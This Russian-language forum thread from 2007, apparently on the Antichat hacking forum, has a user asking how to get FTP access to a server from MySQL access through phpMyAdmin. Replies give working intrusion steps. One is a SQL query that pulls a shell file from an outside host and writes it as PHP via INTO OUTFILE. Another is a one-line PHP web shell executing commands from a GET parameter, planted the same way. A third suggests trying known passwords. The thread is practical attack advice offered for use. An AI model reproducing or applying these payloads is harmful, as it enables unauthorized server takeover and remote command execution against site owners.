ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Как получить доступ к ФТП, если владею mysql через phpmyadmin?
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как получить доступ к ФТП, если владею mysql через phpmyadmin?
  #1  
Старый 26.10.2007, 21:18
Аватар для stolker
stolker
Новичок
Регистрация: 30.08.2007
Сообщений: 10
Провел на форуме:
16919

Репутация: 0
По умолчанию Как получить доступ к ФТП, если владею mysql через phpmyadmin?
Последний раз редактировалось stolker; 27.10.2007 в 12:06..
 
Ответить с цитированием

  #2  
Старый 26.10.2007, 21:23
Аватар для n1†R0x
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


Отправить сообщение для n1†R0x с помощью ICQ
По умолчанию
конечно нету, весьма маловероятно, что пароль сходится...

все, что ты сейчас можешь сделать, как мне кажется, это залить шелл через sql-запрос вида
select load_file('http://blablabla.ru/shell.txt') from mysql.user into outfile 'mda.php'
 
Ответить с цитированием

  #3  
Старый 26.10.2007, 21:26
Аватар для stolker
stolker
Новичок
Регистрация: 30.08.2007
Сообщений: 10
Провел на форуме:
16919

Репутация: 0
По умолчанию
Цитата:
Сообщение от n1†R0x  
конечно нету, весьма маловероятно, что пароль сходится...

все, что ты сейчас можешь сделать, как мне кажется, это залить шелл через sql-запрос вида
select load_file('http://blablabla.ru/shell.txt') from mysql.user into outfile 'mda.php'
Скиньте шел плиз в текстовом виде, и где шел будет находиться? например в mda.php?
Последний раз редактировалось stolker; 26.10.2007 в 21:31..
 
Ответить с цитированием

  #4  
Старый 26.10.2007, 21:34
Аватар для Azazel
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию
Для начала почитать фак на сайте хостера про фтп (Надо бы узнать куда коннектится и с каким юзернэйм). Потом попробовать известные тебе пароли. Потом попробовать залить шелл. Дальше, в зависимомти от прав, опыта и удачи.
Например логином часто бывает директория пользоателя, например /home/www/sd34ret6/http
__________________
Full DNS report
 
Ответить с цитированием

  #5  
Старый 26.10.2007, 21:38
Аватар для stolker
stolker
Новичок
Регистрация: 30.08.2007
Сообщений: 10
Провел на форуме:
16919

Репутация: 0
По умолчанию
Мне главное достать шел. скинте пожалуйста.
 
Ответить с цитированием

  #6  
Старый 26.10.2007, 21:47
Аватар для _Master-
_Master-
Участник форума
Регистрация: 30.05.2007
Сообщений: 115
Провел на форуме:
496690

Репутация: 135
Отправить сообщение для _Master- с помощью ICQ
По умолчанию
'<?php system($_GET[cmd]); ?>' в текстовый файл без кавычек )
Запрос - shell.php?cmd=команда

Можно просто
SELECT '<?php system($cmd) ?>' FROM `таблица` INTO OUTFILE '/путь/до/шелла.php'
Последний раз редактировалось _Master-; 26.10.2007 в 21:51..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Службы Windows XP Alexsize Windows 19 28.09.2009 15:21
Что делать владельцу пластиковой карты, если "обули" кардеры! carder Чужие Статьи 11 11.03.2007 15:08
Проблемы защиты мгновенной передачи сообщений Noman Мировые новости 0 29.12.2006 02:34
Сетевой сканер Nmap. Руководство пользователя foreva Чужие Статьи 1 08.02.2005 16:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ